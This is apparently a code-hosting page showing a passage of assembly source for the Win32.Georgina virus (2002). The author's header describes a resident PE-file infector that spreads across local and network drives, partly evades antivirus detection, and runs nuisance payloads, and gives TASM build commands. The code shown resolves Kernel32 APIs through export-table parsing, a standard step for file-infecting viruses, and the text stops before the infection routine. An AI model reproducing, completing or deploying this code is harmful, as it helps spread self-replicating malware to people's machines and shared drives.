📄 29a-7.014
字号:
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
; @@ @@
; @@ Win32.Georgina.3657 @@
; @@ (C)0ded by KiNETiK @@
; @@ May, 2002 @@
; @@ @@
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
;
;
;Hi guyz,
;
;Finally I finished coding my Win32.Georgina virus, so I can start to write a brief description:)
;This is Win32 per-process multithreaded resident virus, so every infected PE-file
;can launch its own copy of resident virus as soon as it determines that there's no
;other copy of virus running in memory.
;
;Brief Description
;-----------------
;
; - Win32 appending virus, appends the last section of PE-file (infects only PE *.exe files)
; - Infects Win9x/NT/2k/XP platforms (is not tested on WinME,but should work there too)
; - Infects PE-files compressed with various PE-compressors (e.g. UPX)
; - Infects all the logical drives, including network mapped drives
; - Puts infection mark at the end of the infected file, in order to avoid multiple
; infections (infection mark is an encrypted 12-byte string), also checks
; PE-files for validity
; - Per-process multithreaded residency, every running copy will be activated unless
; other copy of virus is running
; - Encrypted data strings (but not all strings are encrypted)
; - Undetectable by some antiviruses (can't insist that it won't be detected by ALL
; AVs)
; - The payload consists of two separate threads:
; 1) an infinite loop of a MessageBox, with the virus payload info written there
; 2) Every 8 seconds changes recursively all the window captions to the string
; "Georgina"
; - The virus has its main thread which launches the other threads or checks every
; second for the absence of other copy (if the other copy was running at the moment
; when the 2nd copy was executed)
; - Other features not mentioned here, just look at the source code and u'll
; understand everything:)
;
;The virus DOESN'T have any destructive features, there's no need in them:)
;The activation date is 21st of every month or September 21st (depends on version).
;I don't wanna write a long description of every step the virus does, I guess the comments
;in the source are enough:)
;
;Greetingz
;---------
;
;My warmest greetingz to Georgina !!!
;This virus is ***totally*** dedicated to Georgina, the woman who I love and will love forever...
;
;My best regardz and greetingz to 29A members, guyz you are really cool!
;
;
;(C)0ded by KiNETiK, May 2002 e-mail: kinetik_fire@yahoo.com
;
;Compiling
;---------
;Compile the source with TASM 5.0:
; tasm32 -ml -m5 -q -zn Georgina.asm
; tlink32 -Tpe -c -x -aa Georgina.obj,,, import32
; pewrsec.com Georgina.exe
;
;
; The code is not fully optimized yet (could be smaller).
; If u find any bugs or u have comments, feel free to contact me.
;;;;;;;;;;;;;;;;;;;;;;;;;
.586p
.model flat
include W32.inc
include Imghdr.inc
.data
; this stuff is for 1st generation only,for the MessageBox displaying the 1st generation info :)
szCaption db "Dear user:)",0h
szMessage db "Introducing Win32.Georgina virus!",0Dh
db "Congratulations! :) 1st generation is successfully launched! :)",0Dh,0Dh
db "(C)0ded by KiNETiK, May 2002",0Dh,0Dh
db "Dedicated to Georgina",0h
.code
main:
; Here is our virus code, the most difficult part to code:))
infect_section:
call delta_offset
delta_offset:
pop ebp
mov eax,ebp
sub eax,5h ; substract 5h due to call instruction (call delta_offset)
sub ebp,offset delta_offset
mov dword ptr [ebp+_EBP],ebp ; saving EBP in _EBP
mov dword ptr [ebp+_ImageBase],eax
call GetKernel32BaseAddress
mov dword ptr [ebp+K32Address],eax ; Saving found kernel base
mov esi,eax
call GetUsefulAPIz
call LaunchVirusMainThread
cmp ebp,0h ; if EBP=0 that means we r in the 1st generation
je _1st_generation ; jumping to the messagebox :)
jmp MainEnd ; jump back to the host
; GetKernel32BaseAddress
; Gets Kernel32 base address, return address in eax
GetKernel32BaseAddress proc
mov esi,[esp+4h] ; last item in stack is return address to CreateProcess API from Kernel32.dll
; adding 4h due to return EIP before calling this function
and esi,0FFFF0000h ; align it with page size, 4K (1000h), K32 is mapped at page start
mov ecx,40h ; scan backward up to 64 pages...
@K32Loop:
sub esi,1000h ; go back
dec ecx ; ecx is counter
cmp ecx,0h ; scanned all the area?
jz @K32NotFound ; yes, that means didn't get K32 address yet:( hardcode it:(
cmp word ptr [esi],"ZM" ; is it MZ executable?
jne @K32Loop ; no, tyry again; yes, go ahead
mov ebx,dword ptr [esi+3Ch] ; locate PE header...
cmp dword ptr [esi+ebx],"EP" ; it it really PE header?
je @K32Found ; wow! we found Kernel32 base address:)
loopnz @K32Loop ; main loop
@K32NotFound:
mov eax,0BFF70000h ; couldn't locate Kernel32 base
ret ; return hardcoded value for Win9x
@K32Found:
mov eax,esi
ret
GetKernel32BaseAddress endp
; GetK32APIAddress
; function gets API addresses
; esi = K32 base address, edi = funtion name string offset
GetK32APIAddress proc
push esi
mov edx,dword ptr [esi+3Ch] ; locating PE header
add edx,78h ; getting export table RVA
add esi,edx ; setting new offset
assume esi:ptr IMAGE_DATA_DIRECTORY ; ok, here we get into data
mov edx,[esi].VirtualAddress ; directory and locate export RVA
assume esi:
mov esi,dword ptr [ebp+K32Address] ; normalize it
add esi,edx
assume esi:ptr IMAGE_EXPORT_DIRECTORY ; prepair to get exports...
mov ecx,[esi].NumberOfFunctions ; getting number of exports
mov dword ptr [ebp+K32NumberOfExports],ecx
mov ebx,[esi].AddressOfFunctions ; Getting pointer to RVA of function addresses
mov edx,[esi].AddressOfNames ; Getting pointer to RVA of function names
mov eax,[esi].AddressOfNameOrdinals ; Getting pointer to RVA of name ordinals
assume esi:
push eax ; saving some stuff:)
mov esi,dword ptr [ebp+K32Address] ; locating and saving function export
add ebx,esi ; address for later use
mov dword ptr [ebp+K32ExportAddress],ebx
pop eax ; getting the ordinals' address
add eax,esi ; address for later use
mov dword ptr [ebp+K32OrdinalsAddress],eax
mov edx,[esi+edx] ; getting RVA where stored address
add esi,edx ; of name tables
@FindAPI:
push esi ; saving some stuff
mov edx,esi ; all these stuff is for parsing function names
@Loop1:
cmp byte ptr [esi],0h ; check whether we found null-terminator of the funciton name string
je @Loop2 ; yes, go ahead....
inc esi ; no, still scanning function name...
jmp @Loop1
@Loop2:
inc esi ; ok, we get function name size
sub esi,edx ; store it in ecx
mov ecx,esi
pop esi
cld ; clear direction flag
push esi ; saving all registers we need....
push edi
push ecx
repe cmpsb ; comparing function names (esi=current,edi=function to find)
pop ecx ; restoring all our regs...
pop edi
pop esi
je @APIFound ; found? ok, go ahead
add esi,ecx ; not found, continue scanning...
inc dword ptr [ebp+Counter] ; function exports counter...
mov eax,dword ptr [ebp+Counter] ; still have functions to scan?
mov eax,dword ptr [ebp+K32NumberOfExports] ; yes, continue
cmp dword ptr [ebp+Counter],eax ; no, damn, we failed:(
jge @APINotFound
jl @FindAPI
@APIFound:
mov eax,dword ptr [ebp+Counter] ; current function export number = Counter
shl eax,1 ; eax = eax * 2, add to ordinal address, get the
mov esi,dword ptr [ebp+K32OrdinalsAddress] ; function ordinal we need,
add esi,eax ; normalize it
lodsw ; get that value in ordinal...
shl eax,2 ; eax = eax * 4, locate correct item in export address table
mov esi,dword ptr [ebp+K32ExportAddress] ; get export address
add esi,eax ; normalize it
lodsd ; get the function entry-point we need!
add eax,dword ptr [ebp+K32Address] ; normalize it...
mov dword ptr [ebp+Counter],0h
pop esi
ret ; ohhh,finally we found it and getting out fom here:)
@APINotFound:
mov eax,00000000h ; we didn't find anything...returning error (0h)
pop esi
ret
GetK32APIAddress endp
;Getting all useful APIz we need...
GetUsefulAPIz proc
; Now we get useful functions from Kernel32
lea edi,[ebp+szGetProcAddress] ; edi must have offset of the function name to find
call GetK32APIAddress
mov dword ptr [ebp+_GetProcAddress],eax
lea edi,[ebp+szGetModuleHandleA]
call GetK32APIAddress
mov dword ptr [ebp+_GetModuleHandleA],eax
lea edi,[ebp+szLoadLibraryA]
call GetK32APIAddress
mov dword ptr [ebp+_LoadLibraryA],eax
lea edi,[ebp+szGetFileAttributesA]
call GetK32APIAddress
mov dword ptr [ebp+_GetFileAttributesA],eax
lea edi,[ebp+szSetFileAttributesA]
call GetK32APIAddress
mov dword ptr [ebp+_SetFileAttributesA],eax
lea edi,[ebp+szCreateFileA]
call GetK32APIAddress
mov dword ptr [ebp+_CreateFileA],eax
lea edi,[ebp+szCreateFileMappingA]
call GetK32APIAddress
mov dword ptr [ebp+_CreateFileMappingA],eax
lea edi,[ebp+szMapViewOfFile]
call GetK32APIAddress
mov dword ptr [ebp+_MapViewOfFile],eax
lea edi,[ebp+szUnmapViewOfFile]
call GetK32APIAddress
mov dword ptr [ebp+_UnmapViewOfFile],eax
lea edi,[ebp+szFindFirstFileA]
call GetK32APIAddress
mov dword ptr [ebp+_FindFirstFileA],eax
lea edi,[ebp+szFindNextFileA]
call GetK32APIAddress
mov dword ptr [ebp+_FindNextFileA],eax
lea edi,[ebp+szFindClose]
call GetK32APIAddress
mov dword ptr [ebp+_FindClose],eax
lea edi,[ebp+szSetCurrentDirectoryA]
call GetK32APIAddress
mov dword ptr [ebp+_SetCurrentDirectoryA],eax
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -